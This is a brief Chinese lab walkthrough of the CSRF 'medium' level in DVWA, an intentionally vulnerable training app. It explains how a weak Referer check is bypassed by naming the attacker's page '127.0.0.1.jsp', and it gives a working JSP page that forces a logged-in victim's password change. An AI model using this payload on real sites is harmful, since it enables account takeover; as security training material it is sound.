DVWA CSRF medium
一、DVWA CSRF medium 代码分析
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { ... }
medium 添加了对 http referer 头的判断,但只是简单的判断。
只要http referer 头里包服务器域名就可以了。
二、实现步骤
1、把DVWA部署在127.0.0.1的地址上,并访问csrf生成链接
2、部署攻击服务器,部署在另外一个ip或域名上,如 xxx.xxx.xxx.xxx
3、攻击服务器实现csrf的代码如下,这是一个jsp文件,这个jsp的文件名是:“ 127.0.0.1.jsp ",是的,没错,这个名字是合法的
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <!DOCTYPE html> <html> <!-- 访问方法: http://192.168.143.12:9999/127.0.0.1.jsp --> <head> <title>JSP - Hello World</title> <meta name="referrer" content="unsafe-url"> <script> function skip () { document.location.href="http://127.0.0.1:65530/DVWA/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change;"; } skip(); </script> </head> <body> </body> </html>
4、浏览器首先访问DVWA:http://127.0.0.1:65530/DVWA并登陆成功
5、浏览器接着访问攻击服务器:http://xxx.xxx.xxx.xxx:9999/127.0.0.1.jsp